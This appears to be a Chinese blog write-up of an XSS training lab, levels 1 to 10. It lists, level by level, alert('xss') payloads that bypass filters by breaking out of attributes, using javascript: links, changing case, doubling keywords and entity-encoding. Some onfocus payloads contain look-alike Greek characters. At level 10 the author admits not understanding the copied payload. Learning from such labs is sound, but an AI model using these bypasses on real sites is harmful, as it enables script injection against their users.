我的XSS挑战之旅

2 篇文章 0 订阅

在这里插入图片描述

Level-1

在这里插入图片描述

发现参数name的内容是一个注入点,并且没有任何过滤

Payload: ?name=test<script>alert('xss')</script>

在这里插入图片描述

Level-2

在这里插入图片描述

和第一关差不多,输入

 <script>alert('xss')</script>

没有出现弹窗
在这里插入图片描述
查看一下源代码
在这里插入图片描述
直接用双引号闭合value,输入

 "><script>alert('xss')</script>

在这里插入图片描述

Level-3

在这里插入图片描述
查看源码,value为单引号闭合
在这里插入图片描述
输入

<script>alert('xss')</script>

查看源代码,输入点在value属性里面
在这里插入图片描述
发现<>被转义了成了&gt和&lt

在搜素框中输入

xss'  οnfοcus=javascript:alert("xss") '

我们用javascript里边的onfocus事件,并且使用'把前面的value给闭合掉。
在这里插入图片描述
在这里插入图片描述
HTML转义常用字符

字符十进制转义字符
"&#34;&quot;
&&#38;&amp;
<&#60;&It;
>&#62;&gt
不断开空格(non-breaking space)&#160;&nbsp;

Level-4

在这里插入图片描述
在搜索框中输入

<script>alert('xss')</script>

查看源码,输入点在value属性里面
在这里插入图片描述

发现过滤了<>,用双引号"把value闭合。

继续在搜素框中输入

xss"  οnfοcus=javascript:alert("xss") "

在这里插入图片描述

方法二:
输入

 "οnfοcus=alert(1)

在这里插入图片描述
闭合了前面的双引号,但是后面多了一个双引号,用//注释掉,输入

"οnfοcus=alert(1)//

在这里插入图片描述

Level-5

在这里插入图片描述

在搜索框中输入

<script>alert('xss')</script>

查看源码
在这里插入图片描述
发现script被转义为scr_ipt,使用超链接绕过,在搜素框中输入

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述
然后点击test

在这里插入图片描述

Level-6

在这里插入图片描述

在搜索框中输入

<script>alert('xss')</script>

查看源码,和第5关一样,script被转义为scr_ipt

在这里插入图片描述
使用超链接绕过,发现不行

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述
查看源码,href被转义成了hr_ef
在这里插入图片描述
百度了一下,还能使用大小写进行绕过,将href写成HREF

"><a HREF="javascript:alert('xss')">test</a>

在这里插入图片描述
再点击test
在这里插入图片描述

Level-7

在这里插入图片描述

在搜索框中输入,查看源码,发现script被过滤

<script>alert('xss')</script>

在这里插入图片描述
使用超链接绕过,不行

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述

大小写进行绕过,将href写成HREF,还是不行

"><a HREF="javascript:alert('xss')">test</a>

再使用双写进行绕过,双写href和javascript

"><a hrhrefef="javasscriptcript:alert('xss')">test</a>

在这里插入图片描述

成功

在这里插入图片描述

Level-8

在这里插入图片描述

在输入框中输入

javascript:alert('xss')

发现javascript被加上了下划线,变成了javascr_ipt
在这里插入图片描述

用Html实体编码绕过

HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&、#、;不能被过滤。

将javascript的script进行实体编码,unicode编码后的结果为java&#115;&#99;&#114;&#105;&#112;&#116;

输入

 java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')

点击友情链接
在这里插入图片描述

成功
在这里插入图片描述

Level-9

在这里插入图片描述

还是script被过滤,直接用上一关的payload

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')

提示连接不合法,要有http://关键字
在这里插入图片描述
添加的url有验证合法性,没有带http://则不合法,
方法一:
http://放在alert里面

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://www.baidu.com')

方法二:
http://放在注释//后面

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')//http://www.baidu.com

点击友情链接,成功
在这里插入图片描述

Level-10

到了第10关页面页面,没有输入框了
在这里插入图片描述
构造payload

Payload:?keyword=javascript:alert('xss')

查看源码发现了几个input标签
在这里插入图片描述

不知道怎么办了,看了下大师傅们的wp,构造payload

Payload: ?keyword=&t_link=" type="text" 1&t_history=" type="text" 2&t_sort =" type="text" 3

payload后,还是没有变化
在这里插入图片描述

这是大师傅们payload后的代码

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value=""text"" type="hidden">

t_sort是注入点,直接注入

Payload: ?keyword = test&t_sort="type="text" onclick = "alert("xss")

在这里插入图片描述
一脸茫然,还是不知道怎么回事

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值